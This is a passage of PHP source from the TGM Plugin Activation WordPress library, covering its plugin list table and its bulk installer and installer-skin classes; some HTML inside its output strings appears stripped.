$this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Update recommended', 'tgmpa' ); } if ( '' === $update_status ) { return $install_status; } return sprintf( /* translators: 1: install status, 2: update status */ _x( '%1$s, %2$s', 'Install/Update Status', 'tgmpa' ), $install_status, $update_status ); } /** * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type. * * @since 2.5.0 * * @param array $items Prepared table items. * @return array Sorted table items. */ public function sort_table_items( $items ) { $type = array(); $name = array(); foreach ( $items as $i => $plugin ) { $type[ $i ] = $plugin['type']; // Required / recommended. $name[ $i ] = $plugin['sanitized_plugin']; } array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items ); return $items; } /** * Get an associative array ( id => link ) of the views available on this table. * * @since 2.5.0 * * @return array */ public function get_views() { $status_links = array(); foreach ( $this->view_totals as $type => $count ) { if ( $count < 1 ) { continue; } switch ( $type ) { case 'all': /* translators: 1: number of plugins. */ $text = _nx( 'All (%s)', 'All (%s)', $count, 'plugins', 'tgmpa' ); break; case 'install': /* translators: 1: number of plugins. */ $text = _n( 'To Install (%s)', 'To Install (%s)', $count, 'tgmpa' ); break; case 'update': /* translators: 1: number of plugins. */ $text = _n( 'Update Available (%s)', 'Update Available (%s)', $count, 'tgmpa' ); break; case 'activate': /* translators: 1: number of plugins. */ $text = _n( 'To Activate (%s)', 'To Activate (%s)', $count, 'tgmpa' ); break; default: $text = ''; break; } if ( ! empty( $text ) ) { $status_links[ $type ] = sprintf( '%s', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * Create default columns to display important plugin information * like type, action and status. * * @since 2.2.0 * * @param array $item Array of item data. * @param string $column_name The name of the column. * @return string */ public function column_default( $item, $column_name ) { return $item[ $column_name ]; } /** * Required for bulk installing. * * Adds a checkbox for each plugin. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The input checkbox with all necessary info. */ public function column_cb( $item ) { return sprintf( '', esc_attr( $this->_args['singular'] ), esc_attr( $item['slug'] ), esc_attr( $item['sanitized_plugin'] ) ); } /** * Create default title column along with the action links. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The plugin name and action links. */ public function column_plugin( $item ) { return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) ); } /** * Create version information column. * * @since 2.5.0 * * @param array $item Array of item data. * @return string HTML-formatted version information. */ public function column_version( $item ) { $output = array(); if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { $installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'tgmpa' ); $color = ''; if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) { $color = ' color: #ff0000; font-weight: bold;'; } $output[] = sprintf( '

    %2$s' . __( 'Installed version:', 'tgmpa' ) . '

    ', $color, $installed ); } if ( ! empty( $item['minimum_version'] ) ) { $output[] = sprintf( '

    %1$s' . __( 'Minimum required version:', 'tgmpa' ) . '

    ', $item['minimum_version'] ); } if ( ! empty( $item['available_version'] ) ) { $color = ''; if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) { $color = ' color: #71C671; font-weight: bold;'; } $output[] = sprintf( '

    %2$s' . __( 'Available version:', 'tgmpa' ) . '

    ', $color, $item['available_version'] ); } if ( empty( $output ) ) { return ' '; // Let's not break the table layout. } else { return implode( "\n", $output ); } } /** * Sets default message within the plugins table if no plugins * are left for interaction. * * Hides the menu item to prevent the user from clicking and * getting a permissions error. * * @since 2.2.0 */ public function no_items() { echo esc_html__( 'No plugins to install, update or activate.', 'tgmpa' ) . ' ' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . ''; echo ''; } /** * Output all the column information within the table. * * @since 2.2.0 * * @return array $columns The column names. */ public function get_columns() { $columns = array( 'cb' => '', 'plugin' => __( 'Plugin', 'tgmpa' ), 'source' => __( 'Source', 'tgmpa' ), 'type' => __( 'Type', 'tgmpa' ), ); if ( 'all' === $this->view_context || 'update' === $this->view_context ) { $columns['version'] = __( 'Version', 'tgmpa' ); $columns['status'] = __( 'Status', 'tgmpa' ); } return apply_filters( 'tgmpa_table_columns', $columns ); } /** * Get name of default primary column * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string */ protected function get_default_primary_column_name() { return 'plugin'; } /** * Get the name of the primary column. * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string The name of the primary column. */ protected function get_primary_column_name() { if ( method_exists( 'WP_List_Table', 'get_primary_column_name' ) ) { return parent::get_primary_column_name(); } else { return $this->get_default_primary_column_name(); } } /** * Get the actions which are relevant for a specific plugin row. * * @since 2.5.0 * * @param array $item Array of item data. * @return array Array with relevant action links. */ protected function get_row_actions( $item ) { $actions = array(); $action_links = array(); // Display the 'Install' action link if the plugin is not yet available. if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['install'] = __( 'Install %2$s', 'tgmpa' ); } else { // Display the 'Update' action link if an update is available and WP complies with plugin minimum. if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['update'] = __( 'Update %2$s', 'tgmpa' ); } // Display the 'Activate' action link, but only if the plugin meets the minimum version. if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['activate'] = __( 'Activate %2$s', 'tgmpa' ); } } // Create the actual links. foreach ( $actions as $action => $text ) { $nonce_url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $item['slug'] ), 'tgmpa-' . $action => $action . '-plugin', ), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' ); $action_links[ $action ] = sprintf( '' . esc_html( $text ) . '', // $text contains the second placeholder. esc_url( $nonce_url ), '' . esc_html( $item['sanitized_plugin'] ) . '' ); } $prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : ''; return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context ); } /** * Generates content for a single row of the table. * * @since 2.5.0 * * @param object $item The current item. */ public function single_row( $item ) { parent::single_row( $item ); /** * Fires after each specific row in the TGMPA Plugins list table. * * The dynamic portion of the hook name, `$item['slug']`, refers to the slug * for the plugin. * * @since 2.5.0 */ do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context ); } /** * Show the upgrade notice below a plugin row if there is one. * * @since 2.5.0 * * @see /wp-admin/includes/update.php * * @param string $slug Plugin slug. * @param array $item The information available in this table row. * @return null Return early if upgrade notice is empty. */ public function wp_plugin_update_row( $slug, $item ) { if ( empty( $item['upgrade_notice'] ) ) { return; } echo ' '; } /** * Extra controls to be displayed between bulk actions and pagination. * * @since 2.5.0 * * @param string $which 'top' or 'bottom' table navigation. */ public function extra_tablenav( $which ) { if ( 'bottom' === $which ) { $this->tgmpa->show_tgmpa_version(); } } /** * Defines the bulk actions for handling registered plugins. * * @since 2.2.0 * * @return array $actions The bulk actions for the plugin install table. */ public function get_bulk_actions() { $actions = array(); if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) { if ( current_user_can( 'install_plugins' ) ) { $actions['tgmpa-bulk-install'] = __( 'Install', 'tgmpa' ); } } if ( 'install' !== $this->view_context ) { if ( current_user_can( 'update_plugins' ) ) { $actions['tgmpa-bulk-update'] = __( 'Update', 'tgmpa' ); } if ( current_user_can( 'activate_plugins' ) ) { $actions['tgmpa-bulk-activate'] = __( 'Activate', 'tgmpa' ); } } return $actions; } /** * Processes bulk installation and activation actions. * * The bulk installation process looks for the $_POST information and passes that * through if a user has to use WP_Filesystem to enter their credentials. * * @since 2.2.0 */ public function process_bulk_actions() { // Bulk installation process. if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); $install_type = 'install'; if ( 'tgmpa-bulk-update' === $this->current_action() ) { $install_type = 'update'; } $plugins_to_install = array(); // Did user actually select any plugins to install/update ? if ( empty( $_POST['plugin'] ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins were selected to be installed. No action taken.', 'tgmpa' ); } else { $message = __( 'No plugins were selected to be updated. No action taken.', 'tgmpa' ); } echo '

    ', esc_html( $message ), '

    '; return false; } if ( is_array( $_POST['plugin'] ) ) { $plugins_to_install = (array) $_POST['plugin']; } elseif ( is_string( $_POST['plugin'] ) ) { // Received via Filesystem page - un-flatten array (WP bug #19643). $plugins_to_install = explode( ',', $_POST['plugin'] ); } // Sanitize the received input. $plugins_to_install = array_map( 'urldecode', $plugins_to_install ); $plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install ); // Validate the received input. foreach ( $plugins_to_install as $key => $slug ) { // Check if the plugin was registered with TGMPA and remove if not. if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) { unset( $plugins_to_install[ $key ] ); continue; } // For install: make sure this is a plugin we *can* install and not one already installed. if ( 'install' === $install_type && true === $this->tgmpa->is_plugin_installed( $slug ) ) { unset( $plugins_to_install[ $key ] ); } // For updates: make sure this is a plugin we *can* update (update available and WP version ok). if ( 'update' === $install_type && false === $this->tgmpa->is_plugin_updatetable( $slug ) ) { unset( $plugins_to_install[ $key ] ); } } // No need to proceed further if we have no plugins to handle. if ( empty( $plugins_to_install ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins are available to be installed at this time.', 'tgmpa' ); } else { $message = __( 'No plugins are available to be updated at this time.', 'tgmpa' ); } echo '

    ', esc_html( $message ), '

    '; return false; } // Pass all necessary information if WP_Filesystem is needed. $url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] ); // Give validated data back to $_POST which is the only place the filesystem looks for extra fields. $_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643. $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. $fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) { return true; // Stop the normal page form from displaying, credential request form will be shown. } // Now we have some credentials, setup WP_Filesystem. if ( ! WP_Filesystem( $creds ) ) { // Our credentials were no good, ask the user for them again. request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields ); return true; } /* If we arrive here, we have the filesystem */ // Store all information in arrays since we are processing a bulk installation. $names = array(); $sources = array(); // Needed for installs. $file_paths = array(); // Needed for upgrades. $to_inject = array(); // Information to inject into the update_plugins transient. // Prepare the data for validated plugins for the install/upgrade. foreach ( $plugins_to_install as $slug ) { $name = $this->tgmpa->plugins[ $slug ]['name']; $source = $this->tgmpa->get_download_url( $slug ); if ( ! empty( $name ) && ! empty( $source ) ) { $names[] = $name; switch ( $install_type ) { case 'install': $sources[] = $source; break; case 'update': $file_paths[] = $this->tgmpa->plugins[ $slug ]['file_path']; $to_inject[ $slug ] = $this->tgmpa->plugins[ $slug ]; $to_inject[ $slug ]['source'] = $source; break; } } } unset( $slug, $name, $source ); // Create a new instance of TGMPA_Bulk_Installer. $installer = new TGMPA_Bulk_Installer( new TGMPA_Bulk_Installer_Skin( array( 'url' => esc_url_raw( $this->tgmpa->get_tgmpa_url() ), 'nonce' => 'bulk-' . $this->_args['plural'], 'names' => $names, 'install_type' => $install_type, ) ) ); // Wrap the install process with the appropriate HTML. echo '
    ', '

    ', esc_html( get_admin_page_title() ), '

    '; // Process the bulk installation submissions. add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'tgmpa-bulk-update' === $this->current_action() ) { // Inject our info into the update transient. $this->tgmpa->inject_update_info( $to_inject ); $installer->bulk_upgrade( $file_paths ); } else { $installer->bulk_install( $sources ); } remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1 ); echo '
    '; return true; } // Bulk activation process. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); // Did user actually select any plugins to activate ? if ( empty( $_POST['plugin'] ) ) { echo '

    ', esc_html__( 'No plugins were selected to be activated. No action taken.', 'tgmpa' ), '

    '; return false; } // Grab plugin data from $_POST. $plugins = array(); if ( isset( $_POST['plugin'] ) ) { $plugins = array_map( 'urldecode', (array) $_POST['plugin'] ); $plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins ); } $plugins_to_activate = array(); $plugin_names = array(); // Grab the file paths for the selected & inactive plugins from the registration array. foreach ( $plugins as $slug ) { if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path']; $plugin_names[] = $this->tgmpa->plugins[ $slug ]['name']; } } unset( $slug ); // Return early if there are no plugins to activate. if ( empty( $plugins_to_activate ) ) { echo '

    ', esc_html__( 'No plugins are available to be activated at this time.', 'tgmpa' ), '

    '; return false; } // Now we are good to go - let's start activating plugins. $activate = activate_plugins( $plugins_to_activate ); if ( is_wp_error( $activate ) ) { echo '

    ', wp_kses_post( $activate->get_error_message() ), '

    '; } else { $count = count( $plugin_names ); // Count so we can use _n function. $plugin_names = array_map( array( 'TGMPA_Utils', 'wrap_in_strong' ), $plugin_names ); $last_plugin = array_pop( $plugin_names ); // Pop off last name to prep for readability. $imploded = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin ); printf( // WPCS: xss ok. '

    %1$s %2$s.

    ', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'tgmpa' ) ), $imploded ); // Update recently activated plugins option. $recent = (array) get_option( 'recently_activated' ); foreach ( $plugins_to_activate as $plugin => $time ) { if ( isset( $recent[ $plugin ] ) ) { unset( $recent[ $plugin ] ); } } update_option( 'recently_activated', $recent ); } unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another. return true; } return false; } /** * Prepares all of our information to be outputted into a usable table. * * @since 2.2.0 */ public function prepare_items() { $columns = $this->get_columns(); // Get all necessary column information. $hidden = array(); // No columns to hide, but we must set as an array. $sortable = array(); // No reason to make sortable columns. $primary = $this->get_primary_column_name(); // Column which has the row actions. $this->_column_headers = array( $columns, $hidden, $sortable, $primary ); // Get all necessary column headers. // Process our bulk activations here. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { $this->process_bulk_actions(); } // Store all of our plugin data into $items array so WP_List_Table can use it. $this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() ); } /* *********** DEPRECATED METHODS *********** */ /** * Retrieve plugin data, given the plugin name. * * @since 2.2.0 * @deprecated 2.5.0 use {@see TGM_Plugin_Activation::_get_plugin_data_from_name()} instead. * @see TGM_Plugin_Activation::_get_plugin_data_from_name() * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ protected function _get_plugin_data_from_name( $name, $data = 'slug' ) { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'TGM_Plugin_Activation::_get_plugin_data_from_name()' ); return $this->tgmpa->_get_plugin_data_from_name( $name, $data ); } } } if ( ! class_exists( 'TGM_Bulk_Installer' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer class was originally called TGM_Bulk_Installer. * For more information, see that class.}} */ class TGM_Bulk_Installer { } } if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer skin class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer_Skin class was originally called TGM_Bulk_Installer_Skin. * For more information, see that class.}} */ class TGM_Bulk_Installer_Skin { } } /** * The WP_Upgrader file isn't always available. If it isn't available, * we load it here. * * We check to make sure no action or activation keys are set so that WordPress * does not try to re-include the class when processing upgrades or installs outside * of the class. * * @since 2.2.0 */ add_action( 'admin_init', 'tgmpa_load_bulk_installer' ); if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) { /** * Load bulk installer */ function tgmpa_load_bulk_installer() { // Silently fail if 2.5+ is loaded *after* an older version. if ( ! isset( $GLOBALS['tgmpa'] ) ) { return; } // Get TGMPA class instance. $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) { if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if ( ! class_exists( 'TGMPA_Bulk_Installer' ) ) { /** * Installer class to handle bulk plugin installations. * * Extends WP_Upgrader and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader.}} * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer to TGMPA_Bulk_Installer. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer extends Plugin_Upgrader { /** * Holds result of bulk plugin installation. * * @since 2.2.0 * * @var string */ public $result; /** * Flag to check if bulk installation is occurring or not. * * @since 2.2.0 * * @var boolean */ public $bulk = false; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Whether or not the destination directory needs to be cleared ( = on update). * * @since 2.5.0 * * @var bool */ protected $clear_destination = false; /** * References parent constructor and sets defaults for class. * * @since 2.2.0 * * @param \Bulk_Upgrader_Skin|null $skin Installer skin. */ public function __construct( $skin = null ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( $skin ); if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) { $this->clear_destination = true; } if ( $this->tgmpa->is_automatic ) { $this->activate_strings(); } add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) ); } /** * Sets the correct activation strings for the installer skin to use. * * @since 2.2.0 */ public function activate_strings() { $this->strings['activation_failed'] = __( 'Plugin activation failed.', 'tgmpa' ); $this->strings['activation_success'] = __( 'Plugin activated successfully.', 'tgmpa' ); } /** * Performs the actual installation of each plugin. * * @since 2.2.0 * * @see WP_Upgrader::run() * * @param array $options The installation config options. * @return null|array Return early if error, array of installation data on success. */ public function run( $options ) { $result = parent::run( $options ); // Reset the strings in case we changed one during automatic activation. if ( $this->tgmpa->is_automatic ) { if ( 'update' === $this->skin->options['install_type'] ) { $this->upgrade_strings(); } else { $this->install_strings(); } } return $result; } /** * Processes the bulk installation of plugins. * * @since 2.2.0 * * {@internal This is basically a near identical copy of the WP Core * Plugin_Upgrader::bulk_upgrade() method, with minor adjustments to deal with * new installs instead of upgrades. * For ease of future synchronizations, the adjustments are clearly commented, but no other * comments are added. Code style has been made to comply.}} * * @see Plugin_Upgrader::bulk_upgrade() * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838 * (@internal Last synced: Dec 31st 2015 against https://core.trac.wordpress.org/browser/trunk?rev=36134}} * * @param array $plugins The plugin sources needed for installation. * @param array $args Arbitrary passed extra arguments. * @return array|false Install confirmation messages on success, false on failure. */ public function bulk_install( $plugins, $args = array() ) { // [TGMPA + ] Hook auto-activation in. add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->install_strings(); // [TGMPA + ] adjusted. /* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */ /* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */ $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); /* [TGMPA - ] foreach ( $plugins as $plugin ) $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) ); */ if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { $this->update_current++; /* [TGMPA - ] $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->set_result('up_to_date'); $this->skin->before(); $this->skin->feedback('up_to_date'); $this->skin->after(); $results[$plugin] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active($plugin); */ $result = $this->run( array( 'package' => $plugin, // [TGMPA + ] adjusted. 'destination' => WP_PLUGIN_DIR, 'clear_destination' => false, // [TGMPA + ] adjusted. 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, ), ) ); $results[ $plugin ] = $this->result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } //end foreach $plugins $this->maintenance_mode( false ); /** * Fires when the bulk upgrader process is complete. * * @since WP 3.6.0 / TGMPA 2.5.0 * * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might * be a Theme_Upgrader or Core_Upgrade instance. * @param array $data { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $packages Array of plugin, theme, or core packages to update. * } */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'install', // [TGMPA + ] adjusted. 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. /* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */ // [TGMPA + ] Remove our auto-activation hook. remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return $results; } /** * Handle a bulk upgrade request. * * @since 2.5.0 * * @see Plugin_Upgrader::bulk_upgrade() * * @param array $plugins The local WP file_path's of the plugins which should be upgraded. * @param array $args Arbitrary passed extra arguments. * @return string|bool Install confirmation messages on success, false on failure. */ public function bulk_upgrade( $plugins, $args = array() ) { add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $result = parent::bulk_upgrade( $plugins, $args ); remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); return $result; } /** * Abuse a filter to auto-activate plugins after installation. * * Hooked into the 'upgrader_post_install' filter hook. * * @since 2.5.0 * * @param bool $bool The value we need to give back (true). * @return bool */ public function auto_activate( $bool ) { // Only process the activation of installed plugins if the automatic flag is set to true. if ( $this->tgmpa->is_automatic ) { // Flush plugins cache so the headers of the newly installed plugins will be read correctly. wp_clean_plugins_cache(); // Get the installed plugin file. $plugin_info = $this->plugin_info(); // Don't try to activate on upgrade of active plugin as WP will do this already. if ( ! is_plugin_active( $plugin_info ) ) { $activate = activate_plugin( $plugin_info ); // Adjust the success string based on the activation result. $this->strings['process_success'] = $this->strings['process_success'] . "
    \n"; if ( is_wp_error( $activate ) ) { $this->skin->error( $activate ); $this->strings['process_success'] .= $this->strings['activation_failed']; } else { $this->strings['process_success'] .= $this->strings['activation_success']; } } } return $bool; } } } if ( ! class_exists( 'TGMPA_Bulk_Installer_Skin' ) ) { /** * Installer skin to set strings for the bulk plugin installations.. * * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer_Skin to * TGMPA_Bulk_Installer_Skin. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer_Skin extends Bulk_Upgrader_Skin { /** * Holds plugin info for each individual plugin installation. * * @since 2.2.0 * * @var array */ public $plugin_info = array(); /** * Holds names of plugins that are undergoing bulk installations. * * @since 2.2.0 * * @var array */ public $plugin_names = array(); /** * Integer to use for iteration through each plugin installation. * * @since 2.2.0 * * @var integer */ public $i = 0; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Constructor. Parses default args with new ones and extracts them for use. * * @since 2.2.0 * * @param array $args Arguments to pass for use within the class. */ public function __construct( $args = array() ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); // Parse default and new args. $defaults = array( 'url' => '', 'nonce' => '', 'names' => array(), 'install_type' => 'install', ); $args = wp_parse_args( $args, $defaults ); // Set plugin names to $this->plugin_names property. $this->plugin_names = $args['names']; // Extract the new args. parent::__construct( $args ); } /** * Sets install skin strings for each individual plugin. * * Checks to see if the automatic activation flag is set and uses the * the proper strings accordingly. * * @since 2.2.0 */ public function add_strings() { if ( 'update' === $this->options['install_type'] ) { parent::add_strings(); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)', 'tgmpa' ); } else { /* translators: 1: plugin name, 2: error message. */ $this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while installing %1$s: %2$s.', 'tgmpa' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_failed'] = __( 'The installation of %1$s failed.', 'tgmpa' ); if ( $this->tgmpa->is_automatic ) { // Automatic activation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = __( '%1$s installed and activated successfully.', 'tgmpa' ); $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations and activations have been completed.', 'tgmpa' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'tgmpa' ); } else { // Default installation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = esc_html__( '%1$s installed successfully.', 'tgmpa' ); $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations have been completed.', 'tgmpa' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing Plugin %1$s (%2$d/%3$d)', 'tgmpa' ); } } } /** * Outputs the header strings and necessary JS before each plugin installation. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function before( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::before( $title ); } /** * Outputs the footer strings and necessary JS after each plugin installation. * * Checks for any errors and outputs them if they exist, else output * success strings. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function after( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::after( $title ); $this->i++; } /** * Outputs links after bulk plugin installation is complete. * * @since 2.2.0 */ public function bulk_footer() { // Serve up the string to say installations (and possibly activations) are complete. parent::bulk_footer(); // Flush plugins cache so we can make sure that the installed plugins list is always up to date. wp_clean_plugins_cache(); $this->tgmpa->show_tgmpa_version(); // Display message based on if all plugins are now active or not. $update_actions = array(); if ( $this->tgmpa->is_tgmpa_complete() ) { // All plugins are active, so we display the complete string and hide the menu to protect users. echo ''; $update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '' ); } else { $update_actions['tgmpa_page'] = '' . esc_html( $this->tgmpa->strings['return'] ) . ''; } /** * Filter the list of action links available following bulk plugin installs/updates. * * @since 2.5.0 * * @param array $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-handled plugin. */ $update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } /* *********** DEPRECATED METHODS *********** */ /** * Flush header output buffer. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function before_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); } /** * Flush footer output buffer and iterate $this->i to make sure the * installation strings reference the correct plugin. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function 